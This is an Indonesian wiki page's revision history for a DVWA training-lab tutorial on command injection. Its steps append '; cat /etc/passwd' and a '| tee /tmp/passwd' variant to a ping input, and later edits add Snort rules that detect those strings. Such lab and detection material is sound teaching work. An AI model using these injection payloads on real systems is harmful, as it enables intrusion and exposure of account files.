DVWA: Command Injection - Revision history

Onnowpurbo: /* Snort Rule */

2017-03-31T21:46:38Z

Snort Rule

← Older revision		Revision as of 21:46, 31 March 2017
Line 61:		Line 61:
	alert tcp any any -> 192.168.0.100 80 (msg:"tee /tmp"; content:"tee+%2Ftmp"; nocase; classtype:web-application-attack; sid:1000023;)		alert tcp any any -> 192.168.0.100 80 (msg:"tee /tmp"; content:"tee+%2Ftmp"; nocase; classtype:web-application-attack; sid:1000023;)

	sebaiknya pilih yang paling spesifik, jangan yang general.		apa saat memilih rules, sebaiknya pilih yang paling spesifik, jangan yang general.

Onnowpurbo: /* Snort Rule */

2017-03-31T12:42:16Z

Snort Rule

← Older revision		Revision as of 12:42, 31 March 2017
Line 58:		Line 58:
	alert tcp any any -> 192.168.0.100 80 (msg:"/passwd"; content:"%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000020;)		alert tcp any any -> 192.168.0.100 80 (msg:"/passwd"; content:"%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000020;)
	alert tcp any any -> 192.168.0.100 80 (msg:"/etc/passwd"; content:"%2Fetc%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000021;)		alert tcp any any -> 192.168.0.100 80 (msg:"/etc/passwd"; content:"%2Fetc%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000021;)
	alert tcp any any -> 192.168.0.100 80 (msg:"cat+%2Fetc%2Fpasswd"; content:"~~cat~~+%~~2Fetc%2Fpasswd~~"; nocase; classtype:web-application-attack; sid:~~1000022~~;)		alert tcp any any -> 192.168.0.100 80 (msg:"cat /etc/passwd"; content:"cat+%2Fetc%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000022;)
			alert tcp any any -> 192.168.0.100 80 (msg:"tee /tmp"; content:"tee+%2Ftmp"; nocase; classtype:web-application-attack; sid:1000023;)

	sebaiknya pilih yang paling spesifik, jangan yang general.		sebaiknya pilih yang paling spesifik, jangan yang general.

Onnowpurbo: /* Snort Rule */

2017-03-31T12:08:25Z

Snort Rule

← Older revision		Revision as of 12:08, 31 March 2017
Line 53:		Line 53:
	==Snort Rule==		==Snort Rule==

	Untuk mendeteksi kegiatan ini, bisa tambahkan di snort local.rules		Untuk mendeteksi kegiatan ini, bisa tambahkan di snort local.rules beberapa alternatif rules berikut

	alert tcp any any -> 192.168.0.100 80 (content: "~~cat~~ /etc/passwd"; msg: "~~WARNING~~: ~~mencuri password!~~"; sid:~~1000002~~;)		alert tcp any any -> 192.168.0.100 80 (msg:"passwd"; content:"passwd"; nocase; classtype:web-application-attack; sid:1000020;)
			alert tcp any any -> 192.168.0.100 80 (msg:"/passwd"; content:"%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000020;)
			alert tcp any any -> 192.168.0.100 80 (msg:"/etc/passwd"; content:"%2Fetc%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000021;)
			alert tcp any any -> 192.168.0.100 80 (msg:"cat+%2Fetc%2Fpasswd"; content:"cat+%2Fetc%2Fpasswd"; nocase; classtype:web-application-attack; sid:1000022;)

			sebaiknya pilih yang paling spesifik, jangan yang general.

Onnowpurbo at 03:52, 31 March 2017

2017-03-31T03:52:42Z

← Older revision		Revision as of 03:52, 31 March 2017
Line 48:		Line 48:

	192.168.1.106; cat /etc/passwd \| tee /tmp/passwd		192.168.1.106; cat /etc/passwd \| tee /tmp/passwd



			==Snort Rule==

			Untuk mendeteksi kegiatan ini, bisa tambahkan di snort local.rules

			alert tcp any any -> 192.168.0.100 80 (content: "cat /etc/passwd"; msg: "WARNING: mencuri password!"; sid:1000002;)

Onnowpurbo at 22:45, 3 March 2017

2017-03-03T22:45:49Z

← Older revision		Revision as of 22:45, 3 March 2017
Line 43:		Line 43:

	cat /var/www/html/DVWA-1.9/vulnerabilities/exec/source/low.php		cat /var/www/html/DVWA-1.9/vulnerabilities/exec/source/low.php


			* Kalau iseng, coba copy password ke tmp, inject command

			192.168.1.106; cat /etc/passwd \| tee /tmp/passwd

Onnowpurbo at 22:44, 3 March 2017

2017-03-03T22:44:10Z

← Older revision		Revision as of 22:44, 3 March 2017
Line 39:		Line 39:
	..		..
	dst		dst

			* Lihat source DVWA mengapa melakukan hal itu

			cat /var/www/html/DVWA-1.9/vulnerabilities/exec/source/low.php

Onnowpurbo: Created page with "* Login ke DVWA * Klik Command Injection * Ping isi IP yang bisa di ping misalnya, router anda, misalnya 192.168.0.223 * Hasilnya kira-kira PING 192.168.0.223 (192.168.0...."

2017-03-03T22:42:30Z

Created page with "* Login ke DVWA * Klik Command Injection * Ping isi IP yang bisa di ping misalnya, router anda, misalnya 192.168.0.223 * Hasilnya kira-kira PING 192.168.0.223 (192.168.0...."

New page

* Login ke DVWA
* Klik Command Injection
* Ping isi IP yang bisa di ping misalnya, router anda, misalnya

192.168.0.223

* Hasilnya kira-kira

PING 192.168.0.223 (192.168.0.223) 56(84) bytes of data.
64 bytes from 192.168.0.223: icmp_seq=1 ttl=64 time=0.560 ms
64 bytes from 192.168.0.223: icmp_seq=2 ttl=64 time=0.696 ms
64 bytes from 192.168.0.223: icmp_seq=3 ttl=64 time=0.692 ms
64 bytes from 192.168.0.223: icmp_seq=4 ttl=64 time=0.631 ms

--- 192.168.0.223 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.560/0.644/0.696/0.063 ms

* Tambahkan perintah cat sesudah nomor IP, misalnya

192.168.0.223; cat /etc/passwd

PING 192.168.0.223 (192.168.0.223) 56(84) bytes of data.
64 bytes from 192.168.0.223: icmp_seq=1 ttl=64 time=0.560 ms
64 bytes from 192.168.0.223: icmp_seq=2 ttl=64 time=0.696 ms
64 bytes from 192.168.0.223: icmp_seq=3 ttl=64 time=0.692 ms
64 bytes from 192.168.0.223: icmp_seq=4 ttl=64 time=0.631 ms

--- 192.168.0.223 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.560/0.644/0.696/0.063 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
..
..
dst